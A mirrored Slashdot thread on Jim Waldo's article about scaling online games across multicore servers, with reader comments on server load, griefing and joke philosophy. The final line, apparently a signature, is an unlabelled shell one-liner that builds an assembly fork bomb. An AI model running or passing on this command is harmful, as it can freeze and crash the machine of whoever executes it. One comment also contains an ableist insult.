Slashdot Mirror
Scripts and Scaling In Online Games
CowboyRobot writes "Jim Waldo of Sun Microsystems has written an article titled Scaling In Games & Virtual Worlds, saying that they 'should be perfect vehicles to show the performance gains possible with multicore chips and groups of cooperating servers. Games and virtual worlds are embarrassingly parallel, in that most of what goes on in them is independent of the other things that are happening. Of the hundreds of thousands of players who are active in World of Warcraft at any one time, only a very small number will be interacting with any particular player.' A group of researchers at Cornell wrote a related piece about improving game development and performance through better scripting."
other gamers out there with zero interest in grinding for gear
That's what scripting is for.
Not only did it NOT suggest this, but it was not technical. You randomly ranted about something unrelated to the topic, then implied there must be a more applicable virtual world for a topic on scaling strategies, than the all-time most popular virtual world. You must be retarded. A retard who managed +1 karma for trolling. *facepalm*
P.S.
If you want to hear from people who actually program for various commercial games, engines, and MMOs, see f13.net's forums.
Often wrong but never in doubt.
I am Jack9.
Everyone knows me.
Actually you can't. Your brains are also operating within the Universe, and thus bound by any limitation it might have; thus, if there's some important aspect of logic or computability which the Universe lacks, you couldn't conceive it existing, and thus you would mistakenly consider the Universe feature complete.
All that can be said is that the laws of logic within the Universe allow the computation of everything they allow, which is a tautological non-statement.
Forget magic. Any technology distinguishable from divine power is insufficiently advanced.
The people who are planning big (i.e 500+) battles petition the developers with the predicted location before hand, and they move that region onto more powerful hardware that can handle the load.
if there's some important aspect of logic or computability which the Universe lacks, you couldn't conceive it existing
Wrong. Billions of people believe in a non-existant magical man in the sky called "God".
Do you seriously think this universe doesn't have an admin?
That would quickly become a not-at-all-cool MMO. The problem it has is that it's vulnerable to griefers. All it takes is one person who decides to defoliate the world for fun and soon you wouldn't have any plants around. One group could decide to exterminate stuff and there'd be nothing left to kill. To give you an example of this "I have fun by taking away other player's fun" mentality, there was recently an event in World of Warcraft where there was a big tree set up in a city, and players could get gifts from under the tree. Several players put themselves on their very sizeable mounts (big bears and mammoths) and stood on the presents for hours, to the net effect that most players couldn't get their presents because they couldn't click on the polygons. This served absolutely no purpose except to cause anguish for others just because they could, and they jeered and taunted the people asking them to move until they were forcibly logged out by a gamemaster. If someone will do this for fun, you can imagine the damage they could do to a world where their actions had permanent consequences. You could conceivably build in some method of enforcement to allow players to establish "laws" against this sort of behavior, but then you'd face the other side of that coin in that a group or guild could functionally take over a server and disallow anyone else from doing anything, to the point of repeatedly killing off any character that wasn't in their power structure.
It's a reasonable idea on the surface, but MMOs can't really let the players have a gross effect on the world because there are so many of them and not everyone will play nice.
Virg
Do you seriously think this universe doesn't have an admin?
Maybe it has a whole bunch of administrators, and God (prime) isn't listening because the log volume is full (or the line printer is out of paper. who knows how often they buy new hardware?)
"You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
I recall playing a game called Goonzu, and people would stand on event NPCs so that no one else could do the event. Sure, they couldn't do the event because they were preventing others from doing it, but they simply didn't care.
There would probably be ways to stop them, like if they decided to play as 'villains' (read: douches), it would be possible to kill them, treating them as bad guys. So, while everyone plants something and has to wait a few days for the foliage to come back, or their pets get set free to become monsters again or some such, you can go 'kill' the bad guy that did this in the first place. By being killed, they would have to make a new character. So, they would have to start over as a little nublet, level up, skill up, whatever, and then they could go be obnoxious again. If they really have that much energy to go and hinder people's growth for a few days, it would at least give everyone a fun event of 'chase down the jerk and get revenge'.
Mod parent down, -1 Undead.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;